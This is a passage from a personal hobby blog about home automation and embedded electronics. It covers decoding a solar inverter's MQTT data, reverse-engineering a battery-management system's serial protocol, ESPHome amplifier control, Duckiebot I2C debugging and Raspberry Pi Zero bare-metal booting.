An example update published on loc/$WIFI_SERIAL_NUMBER is:

{
'type': 'X1-Boost-Air-Mini',
'SN': '$WIFI_SERIAL_NUMBER',
'ver': '2.033.20',
'Data': [
0.2, 0.0, 75.0, 0.0, 0.3, 228.8, 7, 18, 0.0, 1.1,
0, 17, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0.0, 0.0, 0, 0, 0, 0, 0, 0, 0,
49.99, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.0, 0, 0, 0, 0, 0.0, 0, 0, 2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0],
'Information': [
1.1, 4,
'X1-Boost-Air-Mini',
'$INVERTER_SERIAL_NUMBER',
1, 2.1, 0.0, 1.3, 0.0
]
}

Data contains the readings and these seem to correspond to the direct API fields decoded by Hobi and used by squishykid. For example, in the readings above:

The panels are delivering 0.2 A at 75 V
The grid is at 228.8 V
The system is delivering 8 W and has output 1.1 kWh over the system lifetime

These can be decoded in Home Assistant using MQTT sensor definitions like:

- platform: mqtt
name: "solax_power_now"
unique_id: "solax_power_now"
state_topic: "loc/$WIFI_SERIAL_NUMBER"
value_template: "{{ value_json.Data[6] }}"
expire_after: 900
unit_of_measurement: "W"
device_class: power

which will show as:

Notes

On connection, the inverter subscribes to:

respsynctime/$WIFI_SERIAL_NUMBER
set/$WIFI_SERIAL_NUMBER
set/$WIFI_SERIAL_NUMBER/init
update/version/$WIFI_SERIAL_NUMBER
base/down/$WIFI_SERIAL_NUMBER

I suspect the set topic is used for remote configuration and update is used to update the firmware.

It then:

publishes reqsynctime/$WIFI_SERIAL_NUMBER: {'wifisn': '$WIFI_SERIAL_NUMBER'}
receives respsynctime/$WIFI_SERIAL_NUMBER: {'month': '12', 'hour': '11', 'year': '2021', 'day': '4', 'taskId': '297868bb24194080bdf749ab26adc3d6', 'minute': '20', 'second': '30'}
publishes Synctime/$WIFI_SERIAL_NUMBER {'code': '2', 'message': 'setting failed'}
publishes base/up/$WIFI_SERIAL_NUMBER: {'type': 2, 'wifiSN': '$WIFI_SERIAL_NUMBER', 'domain': 'mqtt002.solaxcloud.com', 'port': 2901}

Duckiebot debugging

Sun, 26 Sep 2021 10:13:19 +0200

I’ve picked up a Duckietown Duckiebot DB21M. Under the hood it’s a Linux SBC running ROS that talks to the HUT I/O board. There’s a nice host side set of utilities and Docker based tools that let you interact from a standard laptop.

So far I can’t get the motors to spin. I had problems initially with the camera connector being in backwards, which meant the interface ROS node couldn’t start, which dropped all interfaces, but that was found via docker ps and docker logs.

I’m not fond of the nylon fixings. They’re very easy to strip. The supplied SD card seems to be faulty as my laptop doesn’t recognise it, but I had a spare class A1 card that imaged fine. The Duckiebattery is cool - it looks like a standard no-name phone charging battery, but it’s running custom firmware that reports the battery state over USB.

It seems the earlier DB17 used an PCA9685 based HAT from Adafruit, and these were integrated into the Hut?

The firmware is ATMEGA based and seems to have I2C based registers that run the I/O.

Reading the firmware, there is LED 0 (0x40?) Motor 1 (0x60?)

i2cdetect doesn’t detect these devices but it’s skipping addresses.

i2cset -y 1 0x40 0 0x20 gets an ACK.

The LEDs are on command 6 onwards. I can change the colour of the LEDs using i2cset ....

So the HUT processor is working. The register layout is more complicated so I’ll look at the motor supply.

The motor is sold by Sparkfun as a DG01D-E with pinout https://cdn.sparkfun.com/assets/learn_tutorials/1/1/7/6/assembly_encoder_pin_map.jpg which is:

Motor +
Motor -
Encoder VCC
Encoder A
Encoder B
Encoder GND

The next-door servo pins shows 4.7 V, and it’s likely that’s the same supply as the motor driver.

rqt_graph shows a range of nodes including led_emitter_node and right_wheel_encoder_node.

The code shows that you can run commands like rosservice call /ente1/led_emitter_node/set_pattern "pattern_name: {data: CAR_SIGNAL_PRIORITY}"

The flashing is intermittent. dmesg shows that the board is having issues with I2C:

[ 498.097932] tegra-i2c 7000c400.i2c: arb lost in communicate to add 0x40
[ 498.104813] tegra-i2c 7000c400.i2c: Un-recovered Arb lost
[ 500.587954] tegra-i2c 7000c400.i2c: arb lost in communicate to add 0x40

The TOF sensor is working, so it’s not that. Seems to be on address 0x29.

What’s at address 0x70?

The RS datasheet has a parts list at https://docs.rs-online.com/c57a/A700000007343652.pdf. The IMU is a MPU-9250 which is normally address 0x68 or 0x69.

0x70 may be a TCA9548 I2C multiplexer. Does the front bumper board also contain a multiplexer?

Or another PCA9685?

The LEDs seem to stop on a different colour, which is what WS2812 LEDs do when the signal is interrupted. Is the HUT resetting?

ZX0

Sat, 19 Jun 2021 16:34:46 +0100

ZX0 is my Sinclar ZX81-like hobby computer. The idea is to make something in the ZX81 form factor, use a Raspberry Pi Zero for emulation, and then write some interesting apps that run on the emulator.

Today I got the prototype keyboard working. This uses the ZX81 40 key layout and uses a SAMD21 to scan the keys and report the LEDs. The SAMD21 is running Zephyr, talks to the Pi over I2C, and emulates the LM8333 key matrix scanner.

In the future I should be able to use the built-in Linux driver but for now the Pi runs a simple program that sends SMBus commands to read the key FIFO and publishes the keys via uinput.

I found quite a few issues with my schematic:

SDA and SCL were swapped. This was fixed in software.
RX and TX were swapped. This was fixed by swapping the pins in the cable.
The SAMD21 really needs an interrupt line to wake up the Pi. The work-around is to poll.
The USB connector is too hard to hand solder. I’ve switched this for a chunkier Adafruit connector for future versions.
The regulator has the wrong footprint and pin order. I couldn’t get my first choice and ordered something that I thought was pin compatible, but I was wrong. The work-around is to pull the 3V3 line from the Pi.

Next step is to create a bootloader for the SAMD21 so I can program it from the Pi. I’m thinking of starting with the Adafruit UF2 bootloader and adapting the SAM-BA / BOSSA protocol to work over I2C.

AT-09 BLE to UART notes

Sun, 14 Mar 2021 16:34:46 +0100

I picked up a couple of AT-09 Bluetooth to UART bridges for my solar at home project. Both the BMS and inverter have different grounds than the rest of the system, so rather than worry about isolating the signals I plan to send them over Bluetooth instead.

The modules have a few gotchas:

It seems to have an intra-character timeout of < 0.1 s. If you type in commands manually then the characters don’t arrive fast enough and the module returns ERROR, so it’s best to write a script instead.
Any mutate command causes a reset which takes ~1 s, so it’s best to wait for the module to come back by sending AT until you get OK.
This is the best manual I could find and this is the best blog post.

AT+HELP gives a list of commands but it’s incomplete. For reference, I used the following to configure the module:

AT+BAUD5 - set the baud rate to 19200. 4 is 9600.
AT+NAMEPhoenix 24/375 - set the display name.
AT+TYPE1 - require a pin to connect.
AT+PIN123123 - set the 6 digit pin.

Note that each line must end with a \r\n.

Solar limits

Sat, 06 Mar 2021 12:17:07 +0100

Something unexpected with my solar power setup: the cable loss is limiting the power produced by the panel, but it’s due to the voltage drop and not the power loss.

The cable is ~20 m of 1 mm² flex for a total of 0.71 Ω. The peak power point of the panel is 34.3 V and the Victron charge controller needs 30.1 V to charge an 8S LiFePO4 battery.

This means the maximum current is I = (34.3 - 30.1) / 0.71 = 5.9 A, which is 34.3 * 5.9 = 202 W generated, 24 W of loss, and 178 W delivered.

Changing to 2.5 mm² flex will cut the resistance to 0.28 Ω, ups the current to 9.2 A, and deliver 291 W.

GPIO and Home Assistant

Sun, 28 Feb 2021 17:41:07 +0100

As part of moving my home server to solar power, I need a way of switching over to mains if there’s been a few grey days and the battery is getting low. I’ve attached a relay to the Raspberry Pi’s GPIO to switch the charger input from solar to a MEAN WELL 100 W supply but integrating is surprisingly tricky:

The rpi_gpio module uses RPi.GPIO which isn’t 64 bit clean and fails to compile on Ubuntu
The remote_rpi_gpio module uses pigpiod which for some reason uses 20 % CPU when idle.

I settled on pi-mqtt-gpio, as most of my other custom integrations are over MQTT. The config is:

mqtt:
host: localhost
topic_prefix: host/keylime
discovery: true
gpio_modules:
- name: gpiod
module: gpiod
digital_outputs:
- name: mains_select
module: gpiod
pin: 17
on_payload: "ON"
off_payload: "OFF"

discovery is undocumented but enables Home Assistant MQTT discovery, so it’s zero extra config.

This should be usable on non-Pi hosts as well due to using the gpiod module.

HEYO BMS Notes

Sat, 06 Feb 2021 17:00:36 +0100

The HEYO BMS appears to be a DALY clone. My 8S 60A model has a selection of ports - on the top:

NTC (3 pin)
UART (6 pin)
Unnamed 5 pin)

On the bottom:

Unnamed (4 pin)
Monitor (3 pin)
Unnamed (2 pin)

It’s likely the 2 pin unnamed port is the wake up switch, and the unnamed 5 pin is a RS 485 connection.

UART

The Bluetooth module connects to the 6 pin UART connector with a 6 pin to USB mini B cable. Despite the connector, the signaling is 3.3 V UART at 9600 N81.

The pins use a confusing colour set. They are:

GND (black)
+3.3V (green)
N/C
N/C
TXD (white)
RXD (red)

The Bluetooth adapter uses BLE with a custom write service and a read service Example frames seen over the Bluetooth UART are:

To BMS:

d2 03 00 00 00 3e d7 b9 ?????>??
d2 03 00 a9 00 20 87 91 ????? ??
d2 03 00 00 00 3e d7 b9
d2 03 00 a9 00 20 87 91 ?????>??????? ??

From BMS:

d2 03 40 34 30 31 30 31 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 4d 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 13 ??@401012??????????????????????????BMS?????????????????????????????e?
d2 03 7c 0d 6e 0d 69 0d 59 0d d7 0d 0b 0d 0b 0d 0c 0d 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 00 28 00 28 00 00 00 00 00 00 00 00 00 00 01 0f 75 30 03 e8 0d d7 0d 0b 00 3d 00 3d 00 00 00 fa 00 08 00 01 00 00 00 00 00 01 00 01 0d 46 00 cc 00 00 00 00 00 00 00 00 00 00 0e e1 ??|?n?i?Y???????????????????????????????????????????????????????????=?(?(????????????u0???????=?=?????????????????F??????????????

Surprisingly this is not the same as the common SMART BMS protocol. The overall framing looks straight forward:

uint8 SOF: D2
uint8 ???: 03
uint8 Payload length: (40, 7C)
Payload
uint16 Checksum

The 0d 6e and similar are likely big endian uint16 battery voltages in mV.

Next up I’ll dig up a Windows machine and capture the serial data between the PC app and the BMS to see if it’s the same.

CRC

CRC RevEng shows that the checksum is CRC-16/MODBUS:

 ./reveng -w 16 -l -s d203063132333435364c69 d2035200fa0e10000100080000000000010000000000ff012c012c0ea60ea60b54012c012c00e800e8731d731d784d784d0069006900000000006e006e000000000000000000ff00ff0c8000320000000000aa00285737
./reveng: warning: you have only given 2 samples
./reveng: warning: to reduce false positives, give 4 or more samples
width=16 poly=0x8005 init=0xffff refin=true refout=true xorout=0x0000 check=0x4b37 residue=0x0000 name="CRC-16/MODBUS"

Windows app

Using Wireshark with USBpcap gives the serial stream from the Windows App to the BMS. A sample:

1612695069.430 OUT A5 40 90 08 00 00 00 00 00 00 00 00 7D
1612695069.647 IN A5 01 90 08 01 06 01 06 75 3A 00 5A 55
1612695069.906 OUT A5 40 91 08 00 00 00 00 00 00 00 00 7E
1612695070.143 IN A5 01 91 08 0C F9 02 0C AD 07 00 00 06
1612695070.191 OUT A5 40 92 08 00 00 00 00 00 00 00 00 7F
1612695070.447 IN A5 01 92 08 3D 01 3D 01 00 00 00 00 BC
1612695070.520 OUT A5 40 93 08 00 00 00 00 00 00 00 00 80
1612695070.655 IN A5 01 93 08 01 01 01 7E 00 00 09 4E 19
1612695070.739 OUT A5 40 94 08 00 00 00 00 00 00 00 00 81
1612695070.943 IN A5 01 94 08 08 01 01 00 00 00 00 00 4C
1612695071.066 OUT A5 40 95 08 00 00 00 00 00 00 00 00 82
1612695071.151 IN A5 01 95 08 01 0C F7 0C FA 0C F7 00 50 A5 01 95 08 02 0C F8 0C AF 0C AF 00 BF A5 01 95 08 03 0C AD 0C AD 0C AF 00 73

This is different again:

uint8 SOF 0xA5
uint8 node ID? 0x40 out, 0x01 from BMS
uint8 register?
uint8 length 0x08
uint8[] body
uint8 checksum

The checksum seems to be the sum of the payload.

Requests come from node 0x40 and always have an empty 8 byte payload.

Some requests like register 0x95 give multiple responses. 0x95 looks like the cell voltages: 0x01 then 3x 16 bit voltage in mV repeated 3 times.

Brainslug

Sat, 30 Jan 2021 17:06:51 +0100

I have a Marantz PM6006 amplifier which sounds great, but it’s older tech and doesn’t integrate with the rest of my home automation. In particular I’d like to have it follow the TV power state and automatically turn on when the TV turns on and turn off shortly after the TV turns off. This should reduce the overall power consumption as it’s a class AB amplifier and draws ~50 W even when idle.

The solution was to add Wifi based control using ESPHome. The integration was pretty clean as all of the signals needed are on the easily accessible STANDBY board which has:

The always on 5 V standby supply
The main power relay
The wired remote

I used an Olimex ESP8266 board that I had in the spare parts drawer. The Olimex has a few unused pads which meant the support components (a MC1700 regulator, filter capacitor, and diode for the remote control interface) could be soldered to the board without needing an extra stripboard.

The signals needed are readily available on the STANDBY board. J8508 is +5 V, J8502 is GND, and the top two pins on N8504 are the RC5 and POW_ON relay drive connections. The schematic for the very similar PM6005 is readily available online.

POW_ON connects to GPIO15 and RC5 to GPIO13 via a diode so the infrared remote will still work. The ESPHome configuration is:

esphome:
name: pm6006
comment: PM6006 Amplifier
platform: esp8266
board: modwifi
wifi:
ssid: "your-ssid-here"
password: "your-password-here"
ap:
ssid: "PM6006 Fallback Hotspot"
password: "random-data"
power_save_mode: HIGH
captive_portal:
logger:
prometheus:
api:
password: "your-secret-here"
ota:
password: "your-secret-here"
status_led:
pin:
number: GPIO1
inverted: True
binary_sensor:
- platform: gpio
name: "PM6006 power sense"
id: pm6006_power_sense
pin:
number: 15
remote_transmitter:
pin:
number: GPIO13
inverted: True
carrier_duty_percent: 100%
switch:
- platform: template
name: "PM6006 power"
lambda: |-
if (id(pm6006_power_sense).state) {
return true;
} else {
return false;
}
turn_on_action:
remote_transmitter.transmit_rc5:
address: 0x10
command: 0x0C
repeat: 2
turn_off_action:
remote_transmitter.transmit_rc5:
address: 0x10
command: 0x0C
repeat: 2

Once flashed, the devices appears in Home Assistant and can be controlled from there. The device appears as a single switch where the state reflects the main power relay state so any external changes (like using the remote control) or lost packets will still show the correct power state.

I had to patch ESPHome to support the remote transmitter inverted mode. I’ll clean the patch up and send it upstream.

Marantz use the RC-5 standard commands so I’ll add other commands like volume control and input selection in the future.

I initially tried using a ESP32 board but the initial current draw was too high and caused the standby supply to collapse. The ESP8266 board draws about 70 mA once connected.

Ausdauer: mechanical assembly

Tue, 05 Jan 2021 20:50:15 +0100

And that’s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There’s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing

Next is the electrical assembly. That’ll take a while as each cable will need to be cut and extended.

Ausdauer: assembled

Sat, 02 Jan 2021 17:17:27 +0100

I’ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!

The remaining steps are:

Epoxy the steering wheel and differential inserts in. I didn’t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.
Cut the grooves on the left hand side shafts.
Print the differential.

Ausdauer: left rocker/bogie assembly

Sun, 27 Dec 2020 18:35:54 +0100

I’m working on a build of the Sawppy rover. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.

There’s more information at the build log.

VE.Direct

Tue, 01 Dec 2020 19:44:20 +0100

I’ve released vedirect, a tool parses the Victron VE.Direct TEXT protocol and exports the metrics over Prometheus and MQTT. This can be used to monitor your solar installation and view statistics in tools like Grafana or Home Assistant.

See the README for more. I’m using this to monitor the solar system used to power my home server.

nppilot

Fri, 27 Nov 2020 17:23:01 +0100

I realized I haven’t posted about the current generation of nppilot, my never complete, often restarted rover project.

The current version is a modified Traxxas E-Revo 1/16:

Under the hood this is:

A Revo controller running ROSflight for control and sensors.
A Raspberry Pi 3 running ROS for command and telemetry.

The frame is laser cut MDF with 3D printed mounts and risers.

It works well, but winter came before I made much progress on the control. The goal is for the Pi to do the planning using the GPS and a map of the local area, and to see how fast it can complete the course.

Reducing disk IO

Thu, 26 Nov 2020 00:02:42 +0200

I’m using a Raspberry Pi 4 with a USB3 based SSD to host this website and other services, and as a side effect the lounge looks like a disco due to all the flashing activity LEDs.

The machine should be fairly idle so I went looking for where the disk activity was coming from.

Running iotop -a and looking at the writes shows that mysql (aka MariaDB) is by far the heaviest writer.

Looking at the metrics recorded by the Prometheus mysqld_exporter:

delta(mysql_global_status_commands_total[1h])

gives:

which is dominated by inserts.

Dropping to the mysql command line and running:

SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;

gives:

table_name	table_rows
events	1731748
states	1577498
oc_filecache	26239
notice	23483

The events and states tables are part of my HomeAssistant installation. Reading the docs shows that the recorder commits every second and changing this to 5m using:

recorder:
db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
commit_interval: 300

fixes the problem. This reduces the write rate from 680 KiB/s to ~95 KiB/s:

and cuts the I/O seconds per second:

and makes the lounge much less blinky, yay!

Solar at home

Thu, 19 Nov 2020 00:00:00 +0200

For the last month or so I’ve been working on making my home server (which also hosts this blog!) solar powered. It’s pointless but entertaining, and this is a first of a series of posts about what I learned on the way.

The summary is that a 55 W panel with 200 Wh of battery is enough to power a Raspberry Pi 4 with SSD during the European winter. You still need a mains power fallback, as a couple of days of grey weather will deplete the battery.

The last 7d have been fairly sunny:

This graph shows the power generated over a 16h window, so the peaks are the total generation for that day. Total for the week was 741 Wh or $0.15.

Vouch for authentication

Fri, 09 Oct 2020 00:02:42 +0200

I’ve started using Vouch for SSO to my personal site. Quite happy with the experience - it integrates well with Nginx, was straight forward to setup, and is straight forward to enable for different paths on the site.

Propeller adapter

Fri, 04 Sep 2020 00:02:42 +0200

A nice thing about having a 3D printer is quick fixes to small things. The 8x4 propeller that came with my Bixler 3 was loose on the motor shaft, so I 3D printed an adapter:

It took 5 minutes to print and three tries to get the tolerances right, but the propeller is now a good fit, much quieter, and seems more powerful. Yay!

Bixler 3 Drone

Sat, 29 Aug 2020 00:02:42 +0200

I recently purchased a HobbyKing Bixler 3 to use as a autopilot platform and am pretty happy with how it turned out. Both the under wing area and nose area have plenty of room and could easily fit a Pixhawk 4 Mini with GPS and telemetry.

I prefer the Pixhawk 4 Mini over the older Pixfalcon for a few reasons:

the servo connectors are built-in to the module
the safety switch is built-in to the GPS
two of the four sides are connector free, making it easier to route

I ended up putting the power distribution board in the under wing area and 3D printing a hatch to hold everything else:

The hatch is held on by the front tongue and 2x magnets. The autopilot, telemetry, and RX are on the bottom of the hatch and the GPS on top:

The plane flew just fine in stabilised and hold mode with the default PX4 aircraft turnings. I was a bit surprised by how PX4 handles a strong headwind - if the plane can’t make progress in hold mode at the cruise throttle then it gives up and switches back to stabilised mode.

Once the weather clears up I hope to do some waypoint tests. I’d also like to find a quieter propeller. The stock is fine, but it’s slightly unbalanced and could be much quieter.

Pan/tilt mount for a cell phone

Sat, 23 May 2020 00:00:00 +0200

I think it’s important to also post about the projects that didn’t turn out. Pudel was a project to automatically track and video a model plane using a cell phone camera.

The pan and tilt components were modeled in OpenSCAD and 3D printed. The pan unit had a standard 1/4-20 tripod mount and the tilt unit had a Samsung A40 mount that I’ve used on a few other projects.

Both were driven by standard HS-422 servos with a Trinket M0 for I/O and a 2S LiPo through a 6V BEC for power.

The I/O board ran CircuitPython with custom firmware that takes MIDI-like messages as servo commands. It implemented an acceleration limiter and velocity limiter to limit the jerk, as the servos are capable of 60 deg/0.2 s which is much faster than the plane would move.

The host side was going to be similar to Kieferbot and use ROS with an IO specific node, OpenCV based detection, and a PID controller to keep the plane centered in the frame.

So why did it fail?

The servos aren’t intended for precise, slow movement and hence had mild jerk.
There was too much slack in the mechanics, and the phone was mildly heavy, so mild jerk caused the phone to move about too much.
The plane is too small to resolve on a wide angle lens, so tracking was unlikely to work.

If I wanted to take it further, I can imagine some improvements:

Take the load off the pan servo. The tilt unit sits directly on top of the pan servo shaft and there’s not much material to sit on which increased the shake. Perhaps add a turntable style plates that most of the downwards force could go through.
Decrease the arm length out to the phone. It’s 30 mm and reducing to 20 mm would reduce the load on the tilt servo.
Try a phone with optical stabilization.

Tracking using a camera

Sun, 19 Apr 2020 00:00:00 +0200

Here’s Kieferbot being tracked through a camera:

It took a few iterations but I settled on matching the colour of the floor to create a floor mask, then findCountours to find the contours as a tree, and then searching the children of the root contours. As the bot is black, the children were matched against a ‘black pixels’ mask, and the contour with the most black pixels picked.

The camera is an Android phone running IP Webcam and sharing the back camera as MJPEG over HTTP over Wifi at 10 FPS. It could be higher, but the laptop doing the image processing has trouble keeping up with 30 FPS. The latency looks good - visually less than 200 ms.

The tracking seems reliable. If the bot goes off the bottom of the frame then other black areas are picked, but this can be detected by checking for a jump in position.

Next step is to integrate the camera position, phone sensors, and wheel velocity to get a controllable position.

Self-contained and smoke

Sat, 11 Apr 2020 00:00:00 +0200

A day of highs and lows. Here’s Kieferbot still in teleop mode but now self contained:

The PinePhone is taking commands from a PS4 DualShock over Bluetooth using ds4drv and sending them to the IO board over serial. I experimented with a few transports:

UDP over Wifi was fine, but the default ESP32 Wifi power mode added random latency of up to 100 ms. Switching to ‘always on’ mode by modifying MicroPython fixed this.
Bluetooth Low Energy worked for one-way communication to the IO board, but there was lots of packet loss when using Bluetooth for both the joystick and IO.

Inspired by Firmata, I settled on MIDI over serial. I quite like the MIDI format for short messages. A frame starts with the command followed by a command specific payload. The command has the MSB set so it’s simple to frame.

I also compiled ROS Kinetic for Debian Buster and created an IO node that takes left and right velocity commands. There seems to be an ordering issue with either the ESP32 PWM chip or the FIT0441 controller, where going from forward to reverse and vice-versa is fine but the motor won’t start sometimes when going from zero.

So plenty of highs, but the low was releasing the smoke - I’m using a LiPo battery for the supply and something short-circuited when unplugging the battery. It seems to have taken out the regulator and the ESP32 flash.

Next step is to re-make the IO board using an ItsyBitsy M4. It also runs MicroPython so the IO software was easy to port. I’ve ordered some Seeed XIAO boards - $5 gives you a MicroPython compatible SAMD21 with 9 pins of IO which is enough for this project.

This time I’ll secure the battery socket better and 3D print a shield.

Teleop

Sun, 22 Mar 2020 00:00:00 +0200

As a winter project, I’m turning my PinePhone into an indoor robot. The Pinephone has everything needed for a decent stand-alone robot: plenty of CPU, a camera, gyro/accelerometor/compass, display, and it can run Debian.

Below is a video of the hardware in teleop mode. A Lolin32 ESP32 running MicroPython takes commands over Bluetooth LE and sends PWM and direction signals to the FIT0441 motors. The frame is 3D printed.

Currently the phone is just a passenger. The next step is to get the phone to communicate with the IO board.

Bare metal Raspberry Pi Zero

Sun, 09 Feb 2020 00:02:42 +0200

These are short notes on loading baremetal software on the Raspberry Pi Zero. I started down this path due to wanting to learn Rust, which lead to Tock which is an embedded operating system in Rust. Rather than buy yet another piece of hardware I though I’d use one of my 5 (!) Raspberry Pi Zeros as a development board instead. It’s just another microcontroller, just one that runs at 1 GHz and has a ton of RAM…

Console

See https://pinout.xyz/pinout/uart for the UART pins. Note that on Linux you need to add enable_uart=1 to boot/config.txt.

Connect to a USB –> Serial adapter and launch a console at 11500 baud.

Examples

See dwelch’s bare metal examples. Note that every Pi model has different things on different pins so use the examples from boards/pizero.

Loading

The Pi Zero can boot over USB from a host machine without needing a SD card. This greatly reduces the build/debug cycle. To do this:

Fetch bootcode.bin and start.elf from the firmware repo.
Fetch the usbboot repo and build.
Copy the .bin file to kernel.img
Run sudo rpiboot -d .
Unplug / plug the board

A fully worked example is:

$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into 'firmware'...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/
$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into 'usbboot'...
$ make -C usbboot/
$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img
$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done

JTAG

Add enable_jtag_gpio=1 to boot/config.txt
Wire up using https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857
Use the raspberry.cfg from https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/
Run openocd using openocd -f interface/jlink.cfg -f ./raspberry.cfg
Run gdb-multiarch against the corresponding ELF file

giving:

$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport "jtag". To override use 'transport select <transport>'.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints

Note that the ARM CPU needs to be running some code for the JTAG to connect.

ESPHome as a Ruuvi bridge

Sat, 01 Feb 2020 00:02:42 +0200

ESPHome is a framework for building custom home automation that runs on an ESP8266 or ESP32. It’s pretty cool - you select and configure components by writing a YAML file, which then drives host side Python snippets to configure and bind the device side code, which is then built and pushed using PlatformIO.

Some nice touches:

It integrates with Home Assistant and has automatic discovery
It can drive displays, including rendering TTF files host side to give nice fonts device side
It looks reasonably composable so, for example, you can have multiple Bluetooth broadcast parsers

I used this to bridge between Ruuvi tags and my Home Assistant instance. Home Assistant then re-exports everything to Prometheus.

It also gave me a reason to break out the 3D printer and make a case for the ESP-WROOM-32 based Lolin32:

Android phone as an alarm clock

Sat, 20 Oct 2018 00:02:42 +0200

My son wanted to get an alarm clock for his room which preferably plays MP3s. MP3 players are surprisingly expensive at 40 CHF for a 4 GiB model so I picked up a used Moto E 2nd gen phone for 35 GBP, loaded a stripped down version of Lineage OS on it, and designed a 3D printed a stand:

I’m quite happy with how it turned out. The phone is just an alarm clock and MP3 player as the other apps are either not installed or (like the Play Store) behind Lineage’s protected app feature. This gives ~5 GiB of free storage for songs. The battery lasts for >= 5d as well.

I’ll do one more revision to build a right angle USB cable into the base for easy charging.

ST Link v2 clone as a dev board

Thu, 04 Jan 2018 17:22:05 +0100

I got distracted and had a hack on using a STL Link v2 clone as a development board. There’s a lot to like:

A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB of RAM
4 I/O lines and a LED to blink
Decent support in STM32duino with a DFU bootloader
Comes in a case and plugs directly into a USB port
~$2/each

The I/O is strange and limited but it’s enough to drive a RGB LED via PWM, drive a 40 RGB LED pHAT over SPI, and drive a 320x240 LCD over fast bitbanged SPI.

I won’t continue with this though. The I/O is too limited and a Blue Pill is the same price sans case.

SDHC over SPI performance

Fri, 29 Dec 2017 15:23:56 +0100

I’m hacking on adding SDHC over SPI block device support to the Zephyr Project RTOS.

I’m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.

Here’s where the time goes:

4550 us - total time to read 2x 512 byte blocks from the card
80 us - time spent in ELM FS (impressive!) and timing code
330 us - time for the no-name SD card to make the sector ready
1500 us - time to transfer 512 bytes over SPI
330 us - time to calculate the CRC to check the sector

The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the SPI driver has a turn-around time of 16 us.

Turning that into percentages,

4 % is in core code
15 % is in the SD card
67 % is in the SPI transfer
15 % is in the CRC

The next steps are to optimise the SPI driver and use the hardware CRC unit. That could bring the time per block down to (80 + 330 + 1000 + 100) = ~1500 us and the transfer rate up to 332 KiB/s / 67 % utilisation.

The many different CRC16-CCITTs

Mon, 27 Nov 2017 20:24:30 +0100

I’m hacking on adding Arduino Zero support to the Zephyr Project at the moment. I had a look at speeding up crc16_ccitt() but ran into a problem: there’s so many variants of CRC16-CCITT to choose from!

Zephyr uses CRC-16/AUG-CCITT which is equivalent to CRC-16/CCITT-FALSE with two zero bytes prepended. The effective seed is 0x1d0f and test vector output is 0xe5cc.
Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector output is 0x31c3.
Contiki uses CRC-16/CCITT. The seed is 0, input and output are bit reversed, and test vector output is 0x2189.
Linux uses CRC-16/MCRF4XX. The seed is 0xffff, input and output are bit reversed, and the test vector output is 0x6f91.
The Arduino Zero’s SAMD21 uses CRC-16/CCITT as per Contiki.

Contiki, Linux, and the SAMD21 are the same except for the seed. Zephyr is close, but you need to modify the seed to account for the padding. Mynewt is the outlier as all others reverse the input and output.

See http://reveng.sourceforge.net/crc-catalogue/16.htm for a catalogue.

OpenOCD with the ST-Link v2

Mon, 09 Oct 2017 20:28:54 +0200

There is an issue when trying to program a SAMD21 like in the Arduino Zero using OpenOCD with a ST-Link v2 which gives errors like this:

** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0

The issue is that NVMCTRL_CTRLA is a half-word register and the ST-Link v2 emulates the half word write using two single byte writes.

The hack-around is to change to a word write:

diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
}
/* Issue the NVM command */
